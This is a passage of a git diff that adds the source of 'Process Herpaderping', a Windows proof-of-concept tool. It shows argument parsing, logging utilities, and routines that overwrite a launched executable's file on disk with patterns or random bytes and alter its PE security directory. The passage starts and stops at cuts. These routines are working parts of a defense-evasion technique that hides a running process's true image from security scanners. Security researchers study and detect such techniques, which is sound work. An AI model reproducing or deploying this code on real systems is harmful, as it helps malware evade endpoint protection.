SourceFile Source file to execute.\n" +L" TargetFile Target file to execute the source from.\n" +L" ReplacedWith File to replace the target with. Optional,\n" +L" default overwrites the binary with a pattern.\n" +L" -h,--help Prints tool usage.\n" +L" -d,--do-not-wait Does not wait for spawned process to exit,\n" +L" default waits.\n" +L" -l,--logging-mask number Specifies the logging mask, defaults to full\n" +L" logging.\n" +L" 0x1 Successes\n" +L" 0x2 Informational\n" +L" 0x4 Warnings\n" +L" 0x8 Errors\n" +L" 0x10 Contextual\n" +L" -q,--quiet Runs quietly, overrides logging mask, no title.\n" +L" -r,--random-obfuscation Uses random bytes rather than a pattern for\n" +L" file obfuscation.\n" +L" -e,--exclusive Target file is created with exclusive access and\n" +L" the handle is held open as long as possible.\n" +L" Without this option the handle has full share\n" +L" access and is closed as soon as possible.\n" +L" -u,--do-not-flush-file Does not flush file after overwrite.\n" +L" -c,--close-file-early Closes file before thread creation (before the\n" +L" process notify callback fires in the kernel).\n" +L" Not valid with \"--exclusive\" option.\n" +L" -k,--kill Terminates the spawned process regardless of\n" +L" success or failure, this is useful in some\n" +L" automation environments. Forces \"--do-not-wait\n" +L" option." + }; + + Parameters() = default; + + /// + /// Parses command line arguments and stores the data in the class. + /// + /// + /// Number of command line arguments. + /// + /// + /// Command line arguments. + /// + /// + /// Success if arguments were parsed successfully. Failure otherwise. + /// + _Must_inspect_result_ virtual HRESULT ParseArguments( + _In_ int Argc, + _In_reads_(Argc) const wchar_t* Argv[]) override + { + if (Argc < 3) + { + return E_INVALIDARG; + } + + m_TargetBinary = Argv[1]; + m_FileName = Argv[2]; + + for (int i = 3; i < Argc; i++) + { + std::wstring arg = Argv[i]; + + // + // Check for optional flags. + // + if (SUCCEEDED(Utils::MatchParameter(arg, L"l", L"logging-mask"))) + { + i++; + if (i >= Argc) + { + return E_INVALIDARG; + } + try + { + m_LoggingMask = std::stoul(Argv[i], 0, 0); + } + catch (...) + { + // + // Invalid number... + // + return E_INVALIDARG; + } + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"d", L"do-not-wait"))) + { + ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess); + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"q", L"quiet"))) + { + m_Quiet = true; + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"r", L"random-obfuscation"))) + { + m_RandomObfuscation = true; + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"e", L"exclusive"))) + { + SetFlag(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive); + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"u", L"do-not-flush-file"))) + { + ClearFlag(m_HerpaderpFlags, Herpaderp::FlagFlushFile); + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"c", L"close-file-early"))) + { + SetFlag(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly); + continue; + } + if (SUCCEEDED(Utils::MatchParameter(arg, L"k", L"kill"))) + { + SetFlag(m_HerpaderpFlags, Herpaderp::FlagKillSpawnedProcess); + ClearFlag(m_HerpaderpFlags, Herpaderp::FlagWaitForProcess); + continue; + } + + // + // Assume replace with target. + // + m_ReplaceWith = arg; + } + + return S_OK; + } + + _Must_inspect_result_ virtual HRESULT ValidateArguments() const override + { + if (FlagOn(m_HerpaderpFlags, Herpaderp::FlagHoldHandleExclusive) && + FlagOn(m_HerpaderpFlags, Herpaderp::FlagCloseFileEarly)) + { + // + // These options are incompatible. + // + return E_FAIL; + } + return S_OK; + } + + /// Gets the tool usage string. + /// Tool usage string. + virtual std::wstring_view GetUsage() const override + { + return Usage; + } + + /// Gets the target binary string. + /// Target binary string. + const std::wstring& TargetBinary() const + { + return m_TargetBinary; + } + + /// Gets the file name string. + /// File name string. + const std::wstring& FileName() const + { + return m_FileName; + } + + /// Gets the replace with string. + /// Replace with string. + const std::optional& ReplaceWith() const + { + return m_ReplaceWith; + } + + /// Gets the logging bit mask. + /// Logging bit mask. + uint32_t LoggingMask() const + { + return m_LoggingMask; + } + + /// Gets the quiet boolean. + /// Quiet boolean. + bool Quiet() const + { + return m_Quiet; + } + + /// Gets the random obfuscation boolean. + /// Random obfuscation boolean. + bool RandomObfuscation() const + { + return m_RandomObfuscation; + } + + /// Gets herpaderp flags. + /// Herpaderp flags. + uint32_t HerpaderpFlags() const + { + return m_HerpaderpFlags; + } + +private: + + std::wstring m_TargetBinary; + std::wstring m_FileName; + std::optional m_ReplaceWith{ std::nullopt }; + uint32_t m_LoggingMask + { + Log::Success | + Log::Information | + Log::Warning | + Log::Error | + Log::Context + }; + bool m_Quiet{ false }; + bool m_RandomObfuscation{ false }; + uint32_t m_HerpaderpFlags + { + Herpaderp::FlagWaitForProcess | + Herpaderp::FlagFlushFile + }; +}; + +/// +/// Main entry point for Process Herpaderping Tool. +/// +/// +/// Number of command line arguments. +/// +/// +/// Command line arguments. +/// +/// +/// EXIT_SUCCESS on success, EXIT_FAILURE on failure or invalid parameters. +/// +int wmain( + _In_ int Argc, + _In_reads_(Argc) const wchar_t* Argv[]) +{ + Parameters params; + if (FAILED(Utils::HandleCommandLineArgs(Argc, + Argv, + Constants::ToolHeader, + params))) + { + return EXIT_FAILURE; + } + + if (params.Quiet()) + { + // + // Run quietly, no header and override the logging mask. + // + Utils::SetLoggingMask(0); + } + else + { + std::wcout << Constants::ToolHeader << L'\n'; + Utils::SetLoggingMask(params.LoggingMask()); + } + + // + // Herpaderp wants a pattern to use for obfuscation, set that up here. + // + HRESULT hr; + std::span pattern = Constants::Pattern; + std::vector patternBuffer; + + if (params.RandomObfuscation()) + { + // + // Use a random pattern instead. + // + patternBuffer.resize(Constants::RandPatterLen); + hr = Utils::FillBufferWithRandomBytes(patternBuffer); + if (FAILED(hr)) + { + Utils::Log(Log::Error, + hr, + L"Failed to generate random buffer"); + return EXIT_FAILURE; + } + pattern = std::span(patternBuffer); + } + + hr = Herpaderp::ExecuteProcess(params.TargetBinary(), + params.FileName(), + params.ReplaceWith(), + pattern, + params.HerpaderpFlags()); + if (FAILED(hr)) + { + Utils::Log(Log::Error, hr, L"Process Herpaderp Failed"); + return EXIT_FAILURE; + } + + Utils::Log(Log::Success, L"Process Herpaderp Succeeded"); + return EXIT_SUCCESS; +} diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/pch.hpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/pch.hpp new file mode 100644 index 00000000..f6fa36a0 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/pch.hpp @@ -0,0 +1,103 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: pch.hpp +// Author: Johnny Shaw +// Abstract: Pre-compiled Header +// +#pragma once + +// +// Windows +// +#define WIN32_LEAN_AND_MEAN +#define WIN32_NO_STATUS +#include +#undef WIN32_NO_STATUS +#include +#include +#include +#include + +// +// STL +// +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// +// Third Party +// +#pragma warning(push) +#pragma warning(disable : 6387) // prefast: does not adhere to the specification for the function +#pragma warning(disable : 6001) // prefast: using uninitialized memory +#pragma warning(disable : 6388) // prefast: data may not be value +#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target +#pragma warning(disable : 4635) // xmldoc: badly-formatted XML +#include +#include +#include +#include +#pragma warning(pop) +#pragma warning(push) +#pragma warning(disable : 4201) // nameless struct/union +#pragma warning(disable : 4324) // structure was padded due to __declspec(align()) +#pragma warning(disable : 4471) // a forward declaration of an unscoped enumeration +#pragma warning(disable : 28253) // prefast: Inconsistent annotation +#define PHNT_VERSION PHNT_THRESHOLD +#include +#include +#include +#include +#include +#pragma warning(pop) + +// +// Common Macros/Defines/Usings +// +#define SCAST(_X_) static_cast<_X_> +#define RCAST(_X_) reinterpret_cast<_X_> +#define CCAST(_X_) const_cast<_X_> +#define DCAST(_X_) dynamic_cast<_X_> +#define Add2Ptr(_P_, _X_) RCAST(void*)(RCAST(uintptr_t)(_P_) + _X_) +#ifndef FlagOn +#define FlagOn(_F_, _X_) ((_F_) & (_X_)) +#endif +#ifndef SetFlag +#define SetFlag(_F_, _X_) ((_F_) |= (_X_)) +#endif +#ifndef ClearFlag +#define ClearFlag(_F_, _X_) ((_F_) &= ~(_X_)) +#endif +using handle_t = HANDLE; + +// +// wil extensions +// +namespace wil +{ + using unique_user_process_parameters = unique_any< + PRTL_USER_PROCESS_PARAMETERS, + decltype(&RtlDestroyProcessParameters), + RtlDestroyProcessParameters>; +} +#define RETURN_LAST_ERROR_SET(win32err) SetLastError(win32err); RETURN_LAST_ERROR() + +// +// prefast suppression +// +#pragma warning(disable : 6319) // prefast: use of the comma-operator in a tested expression + +// +// Internal +// +#include "res/version.h" diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/Icon.ico b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/Icon.ico new file mode 100644 index 00000000..b40fdf29 Binary files /dev/null and b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/Icon.ico differ diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.h b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.h new file mode 100644 index 00000000..a3f2ece2 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.h @@ -0,0 +1,8 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/res/resource.h +// Author: Johnny Shaw +// Abstract: Resource Header +// +#define IDI_ICON 101 diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.rc b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.rc new file mode 100644 index 00000000..3a99c93c --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/resource.rc @@ -0,0 +1,47 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/res/resource.rc +// Author: Johnny Shaw +// Abstract: Resource File +// +#include +#include +#include "resource.h" +#include "version.h" + +IDI_ICON ICON "Icon.ico" + + +VS_VERSION_INFO VERSIONINFO + FILEVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD + PRODUCTVERSION VER_MAJOR,VER_MINOR,VER_PATCH,VER_BUILD + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x1L +#else + FILEFLAGS 0x0L +#endif + FILEOS 0x40004L + FILETYPE 0x1L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN + VALUE "CompanyName", STR_COMPANY_NAME + VALUE "FileDescription", STR_FILE_DESCRIPTION + VALUE "FileVersion", STR_VERSION + VALUE "InternalName", STR_INTERNAL_NAME + VALUE "LegalCopyright", STR_COPYRIGHT + VALUE "OriginalFilename", STR_ORIGINAL_FILENAME + VALUE "ProductName", STR_PRODUCT_NAME + VALUE "ProductVersion", STR_PRODUCT_VERSION + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/version.h b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/version.h new file mode 100644 index 00000000..55c6452c --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/res/version.h @@ -0,0 +1,42 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/res/version.h +// Author: Johnny Shaw +// Abstract: Version Header +// +#pragma once +#define VER_MAJOR 1 +#define VER_MINOR 0 +#define VER_PATCH 0 +#define VER_BUILD 1 + +#define MKSTR(_x_) #_x_ +#define MKWSTR(_x_) L##_x_ +#define VER_MAKE_STR(_Major_, _Minor_, _Patch_, _Build_)\ +MKSTR(_Major_) "." \ +MKSTR(_Minor_) "." \ +MKSTR(_Patch_) "." \ +MKSTR(_Build_) +#define VER_MAKE_WSTR(_Major_, _Minor_, _Patch_, _Build_)\ +MKWSTR(_Major_) L"." \ +MKWSTR(_Minor_) L"." \ +MKWSTR(_Patch_) L"." \ +MKWSTR(_Build_) + +#define WSTR_COMPANY_NAME L"Johnny Shaw" +#define STR_COMPANY_NAME "Johnny Shaw" +#define WSTR_COPYRIGHT L"Copyright (c) 2020 Johnny Shaw" +#define STR_COPYRIGHT "Copyright (c) 2020 Johnny Shaw" +#define WSTR_ORIGINAL_FILENAME L"ProcessHerpaderping.exe" +#define STR_ORIGINAL_FILENAME "ProcessHerpaderping.exe" +#define WSTR_PRODUCT_NAME L"Process Herpaderping Tool" +#define STR_PRODUCT_NAME "Process Herpaderping Tool" +#define WSTR_FILE_DESCRIPTION WSTR_PRODUCT_NAME +#define STR_FILE_DESCRIPTION STR_PRODUCT_NAME +#define WSTR_INTERNAL_NAME L"ProcessHerpaderping" +#define STR_INTERNAL_NAME "ProcessHerpaderping" +#define WSTR_VERSION VER_MAKE_WSTR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD) +#define STR_VERSION VER_MAKE_STR(VER_MAJOR, VER_MINOR, VER_PATCH, VER_BUILD) +#define WSTR_PRODUCT_VERSION WSTR_VERSION +#define STR_PRODUCT_VERSION STR_VERSION diff --git a/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.cpp b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.cpp new file mode 100644 index 00000000..fdaee047 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/source/ProcessHerpaderping/utils.cpp @@ -0,0 +1,879 @@ +// +// Copyright (c) Johnny Shaw. All rights reserved. +// +// File: source/ProcessHerpaderping/utils.cpp +// Author: Johnny Shaw +// Abstract: Utility functionality for herpaderping. +// +#include "pch.hpp" +#include "utils.hpp" + +namespace Utils +{ + static uint32_t g_LoggingMask{ 0xffffffff }; + constexpr static uint32_t MaxFileBuffer{ 0x8000 }; // 32kib +} + +_Use_decl_annotations_ +HRESULT Utils::MatchParameter( + std::wstring_view Arg, + std::optional Short, + std::optional Long) +{ + if (Arg.length() < 2) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER); + } + + if (Long.has_value() && (Arg[0] == L'-') && (Arg[1] == L'-')) + { + if (wcscmp(&Arg[2], Long->data()) == 0) + { + return S_OK; + } + } + if (Short.has_value() && ((Arg[0] == L'-') || (Arg[0] == L'/'))) + { + if (wcscmp(&Arg[1], Short->data()) == 0) + { + return S_OK; + } + } + + return E_FAIL; +} + +_Use_decl_annotations_ +HRESULT Utils::CheckForHelpOptions( + int Argc, + const wchar_t* Argv[]) +{ + for (int i = 0; i < Argc; i++) + { + if (SUCCEEDED(MatchParameter(Argv[i], L"h", L"help")) || + SUCCEEDED(MatchParameter(Argv[i], L"?", std::nullopt))) + { + return S_OK; + } + } + return E_NOT_SET; +} + +_Use_decl_annotations_ +HRESULT Utils::HandleCommandLineArgs( + int Argc, + const wchar_t* Argv[], + std::optional Header, + IArgumentParser& Parser) +{ + if (SUCCEEDED(CheckForHelpOptions(Argc, Argv)) || + FAILED(Parser.ParseArguments(Argc, Argv)) || + FAILED(Parser.ValidateArguments())) + { + if (Header.has_value()) + { + std::wcout << *Header << L'\n'; + } + std::wcout << Parser.GetUsage(); + return E_FAIL; + } + + return S_OK; +} + +_Use_decl_annotations_ +std::wstring Utils::FormatError(uint32_t Error) +{ + wil::unique_any buffer; + std::wstring message; + auto length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_IGNORE_INSERTS, + nullptr, + Error, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + RCAST(LPWSTR)(&buffer), + 0, + nullptr); + if ((buffer != nullptr) && (length > 0)) + { + message = std::wstring(buffer.get(), length); + } + else + { + length = FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | + FORMAT_MESSAGE_FROM_SYSTEM | + FORMAT_MESSAGE_FROM_HMODULE | + FORMAT_MESSAGE_IGNORE_INSERTS, + GetModuleHandleA("ntdll.dll"), + Error, + MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), + RCAST(LPWSTR)(&buffer), + 0, + nullptr); + if ((buffer != nullptr) && (length > 0)) + { + // + // NT status codes are formatted with inserts, only use the + // initial description if there is one, otherwise just use the + // string as is. + // + message = std::wstring(buffer.get(), length); + if (message[0] == L'{') + { + auto pos = message.find(L'}', 1); + if (pos != std::wstring::npos) + { + message = std::wstring(message.begin() + 1, + message.begin() + pos); + } + } + } + } + + if (message.empty()) + { + message = L"Unknown Error"; + } + + std::wstringstream ss; + ss << L"0x" + << std::hex << std::setfill(L'0') << std::setw(8) << Error + << L" - " + << std::move(message); + + auto res = ss.str(); + EraseAll(res, { L'\r', L'\n', L'\t' }); + + return res; +} + +_Use_decl_annotations_ +void Utils::SetLoggingMask(uint32_t Level) +{ + g_LoggingMask = Level; +} + +static const wchar_t* GetLogLevelPrefix(_In_ uint32_t Level) +{ + if (Level & Log::Error) + { + return L"[ERROR] "; + } + else if (Level & Log::Warning) + { + return L"[WARN] "; + } + else if (Level & Log::Information) + { + return L"[INFO] "; + } + else if (Level & Log::Debug) + { + return L"[DEBUG] "; + } + + return L"[OK] "; +} + +static void LogInternal( + _In_ bool AppendError, + _In_ uint32_t Error, + _In_ uint32_t Level, + _Printf_format_string_ const wchar_t* Format, + _In_ va_list Args) +{ + if ((Level & Utils::g_LoggingMask) == 0) + { + return; + } + + std::wstring line; + if (Utils::g_LoggingMask & Log::Context) + { + wil::str_printf_nothrow(line, + L"[%lu:%lu]", + GetCurrentProcessId(), + GetCurrentThreadId()); + } + + line += GetLogLevelPrefix(Level); + + std::wstring fmt; + HRESULT hr = wil::details::str_vprintf_nothrow(fmt, Format, Args); + if (FAILED(hr)) + { + fmt = L"Formatting Error " + Utils::FormatError(hr); + } + line += std::move(fmt); + + if (AppendError) + { + line += L", "; + line += Utils::FormatError(Error); + } + + if (Level & Log::Error) + { + std::wcerr << line << L'\n'; + } + else + { + std::wcout << line << L'\n'; + } +} + +_Use_decl_annotations_ +void Utils::Log( + uint32_t Level, + const wchar_t* Format, + ...) +{ + va_list args; + va_start(args, Format); + LogInternal(false, 0, Level, Format, args); + va_end(args); +} + +_Use_decl_annotations_ +uint32_t Utils::Log( + uint32_t Level, + uint32_t Error, + const wchar_t* Format, + ...) +{ + va_list args; + va_start(args, Format); + LogInternal(true, Error, Level, Format, args); + va_end(args); + return Error; +} + +_Use_decl_annotations_ +HRESULT Utils::FillBufferWithPattern( + std::vector& Buffer, + std::span Pattern) +{ + if (Buffer.empty()) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER); + } + + auto bytesRemaining = Buffer.size(); + while (bytesRemaining > 0) + { + auto len = (Pattern.size() > bytesRemaining ? + bytesRemaining + : + Pattern.size()); + + std::memcpy(&Buffer[Buffer.size() - bytesRemaining], + Pattern.data(), + Pattern.size()); + + bytesRemaining -= len; + } + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::FillBufferWithRandomBytes( + std::vector& Buffer) +{ + if (Buffer.empty()) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER); + } + + RETURN_IF_NTSTATUS_FAILED( + BCryptGenRandom(nullptr, + Buffer.data(), + SCAST(ULONG)(Buffer.size()), + BCRYPT_USE_SYSTEM_PREFERRED_RNG)); + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::GetFileSize( + handle_t FileHandle, + uint64_t& FileSize) +{ + FileSize = 0; + + LARGE_INTEGER fileSize; + RETURN_IF_WIN32_BOOL_FALSE(GetFileSizeEx(FileHandle, &fileSize)); + + if (fileSize.QuadPart < 0) + { + RETURN_LAST_ERROR_SET(ERROR_FILE_INVALID); + } + + FileSize = fileSize.QuadPart; + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::SetFilePointer( + handle_t FileHandle, + int64_t DistanceToMove, + uint32_t MoveMethod) +{ + LARGE_INTEGER distance; + distance.QuadPart = DistanceToMove; + + RETURN_IF_WIN32_BOOL_FALSE_EXPECTED(SetFilePointerEx(FileHandle, + distance, + nullptr, + MoveMethod)); + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::CopyFileByHandle( + handle_t SourceHandle, + handle_t TargetHandle, + bool FlushFile) +{ + // + // Get the file sizes. + // + uint64_t sourceSize; + RETURN_IF_FAILED(GetFileSize(SourceHandle, sourceSize)); + + uint64_t targetSize; + RETURN_IF_FAILED(GetFileSize(TargetHandle, targetSize)); + + // + // Set the file pointers to the beginning of the files. + // + RETURN_IF_FAILED(SetFilePointer(SourceHandle, 0, FILE_BEGIN)); + RETURN_IF_FAILED(SetFilePointer(TargetHandle, 0, FILE_BEGIN)); + + uint64_t bytesRemaining = sourceSize; + std::vector buffer; + if (bytesRemaining > MaxFileBuffer) + { + buffer.assign(MaxFileBuffer, 0); + } + else + { + buffer.assign(SCAST(size_t)(bytesRemaining), 0); + } + + while (bytesRemaining > 0) + { + if (bytesRemaining < buffer.size()) + { + buffer.assign(SCAST(size_t)(bytesRemaining), 0); + } + + DWORD bytesRead = 0; + RETURN_IF_WIN32_BOOL_FALSE(ReadFile(SourceHandle, + buffer.data(), + SCAST(DWORD)(buffer.size()), + &bytesRead, + nullptr)); + + bytesRemaining -= bytesRead; + + DWORD bytesWitten = 0; + RETURN_IF_WIN32_BOOL_FALSE(WriteFile(TargetHandle, + buffer.data(), + SCAST(DWORD)(buffer.size()), + &bytesWitten, + nullptr)); + } + + if (FlushFile) + { + RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(TargetHandle)); + } + RETURN_IF_WIN32_BOOL_FALSE(SetEndOfFile(TargetHandle)); + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::OverwriteFileContentsWithPattern( + handle_t FileHandle, + std::span Pattern, + bool FlushFile) +{ + uint64_t targetSize; + RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize)); + RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_BEGIN)); + + uint64_t bytesRemaining = targetSize; + std::vector buffer; + if (bytesRemaining > MaxFileBuffer) + { + buffer.resize(MaxFileBuffer); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + else + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + while (bytesRemaining > 0) + { + if (bytesRemaining < buffer.size()) + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + DWORD bytesWritten = 0; + RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle, + buffer.data(), + SCAST(DWORD)(buffer.size()), + &bytesWritten, + nullptr)); + + bytesRemaining -= bytesWritten; + } + + if (FlushFile) + { + RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle)); + } + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::ExtendFileWithPattern( + handle_t FileHandle, + uint64_t NewFileSize, + std::span Pattern, + uint32_t& AppendedBytes, + bool FlushFile) +{ + AppendedBytes = 0; + + uint64_t targetSize; + RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize)); + + if (targetSize >= NewFileSize) + { + RETURN_LAST_ERROR_SET(ERROR_FILE_TOO_LARGE); + } + + RETURN_IF_FAILED(SetFilePointer(FileHandle, 0, FILE_END)); + + uint64_t bytesRemaining; + bytesRemaining = (NewFileSize - targetSize); + std::vector buffer; + if (bytesRemaining > MaxFileBuffer) + { + buffer.resize(MaxFileBuffer); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + else + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + while (bytesRemaining > 0) + { + DWORD bytesWritten = 0; + + if (bytesRemaining < buffer.size()) + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle, + buffer.data(), + SCAST(DWORD)(buffer.size()), + &bytesWritten, + nullptr)); + + bytesRemaining -= bytesWritten; + AppendedBytes += bytesWritten; + } + + if (FlushFile) + { + RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle)); + } + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::OverwriteFileAfterWithPattern( + handle_t FileHandle, + uint64_t FileOffset, + std::span Pattern, + uint32_t& WrittenBytes, + bool FlushFile) +{ + WrittenBytes = 0; + + uint64_t targetSize; + RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize)); + + if (FileOffset >= targetSize) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_PARAMETER); + } + + RETURN_IF_FAILED(SetFilePointer(FileHandle, FileOffset, FILE_BEGIN)); + + uint64_t bytesRemaining; + bytesRemaining = (targetSize - FileOffset); + std::vector buffer; + if (bytesRemaining > MaxFileBuffer) + { + buffer.resize(MaxFileBuffer); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + else + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + while (bytesRemaining > 0) + { + DWORD bytesWritten = 0; + + if (bytesRemaining < buffer.size()) + { + buffer.resize(SCAST(size_t)(bytesRemaining)); + RETURN_IF_FAILED(FillBufferWithPattern(buffer, Pattern)); + } + + RETURN_IF_WIN32_BOOL_FALSE(WriteFile(FileHandle, + buffer.data(), + SCAST(DWORD)(buffer.size()), + &bytesWritten, + nullptr)); + + bytesRemaining -= bytesWritten; + WrittenBytes += bytesWritten; + } + + if (FlushFile) + { + RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle)); + } + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::ExtendFileSecurityDirectory( + handle_t FileHandle, + uint32_t ExtendedBy, + bool FlushFile) +{ + uint64_t targetSize; + RETURN_IF_FAILED(GetFileSize(FileHandle, targetSize)); + + wil::unique_handle mapping; + ULARGE_INTEGER mappingSize; + mappingSize.QuadPart = targetSize; + mapping.reset(CreateFileMappingW(FileHandle, + nullptr, + PAGE_READWRITE, + mappingSize.HighPart, + mappingSize.LowPart, + nullptr)); + RETURN_LAST_ERROR_IF(!mapping.is_valid()); + + wil::unique_mapview_ptr view; + view.reset(MapViewOfFile(mapping.get(), + FILE_MAP_READ | FILE_MAP_WRITE, + 0, + 0, + mappingSize.LowPart)); + RETURN_LAST_ERROR_IF(view == nullptr); + + auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + // + // This is not a PE file, we're done. + // + RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + auto ntHeader = RCAST(PIMAGE_NT_HEADERS32)(Add2Ptr(view.get(), + dosHeader->e_lfanew)); + if (ntHeader->Signature != IMAGE_NT_SIGNATURE) + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + IMAGE_DATA_DIRECTORY* secDir; + if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC) + { + if (ntHeader->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY) + { + // + // No security directory, we're done. + // + return S_OK; + } + secDir = &ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]; + } + else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC) + { + auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader); + if (ntHeader64->OptionalHeader.NumberOfRvaAndSizes < IMAGE_DIRECTORY_ENTRY_SECURITY) + { + // + // No security directory, we're done. + // + return S_OK; + } + secDir = &ntHeader64->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_SECURITY]; + } + else + { + RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH); + } + + if ((secDir->VirtualAddress) == 0 || (secDir->Size == 0)) + { + // + // No security directory, we're done. + // + return S_OK; + } + + // + // Extend the security directory size. + // + secDir->Size = (secDir->Size + ExtendedBy); + + RETURN_IF_WIN32_BOOL_FALSE(FlushViewOfFile(view.get(), + mappingSize.LowPart)); + + view.reset(); + mapping.reset(); + + if (FlushFile) + { + RETURN_IF_WIN32_BOOL_FALSE(FlushFileBuffers(FileHandle)); + } + + return S_OK; +} + +_Use_decl_annotations_ +HRESULT Utils::GetImageEntryPointRva( + handle_t FileHandle, + uint32_t& EntryPointRva) +{ + EntryPointRva = 0; + + uint64_t fileSize; + RETURN_IF_FAILED(GetFileSize(FileHandle, fileSize)); + + ULARGE_INTEGER mappingSize; + wil::unique_handle mapping; + mappingSize.QuadPart = fileSize; + mapping.reset(CreateFileMappingW(FileHandle, + nullptr, + PAGE_READONLY, + mappingSize.HighPart, + mappingSize.LowPart, + nullptr)); + RETURN_LAST_ERROR_IF(!mapping.is_valid()); + + wil::unique_mapview_ptr view; + view.reset(MapViewOfFile(mapping.get(), + FILE_MAP_READ, + 0, + 0, + mappingSize.LowPart)); + RETURN_LAST_ERROR_IF(view == nullptr); + + auto dosHeader = RCAST(PIMAGE_DOS_HEADER)(view.get()); + if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + 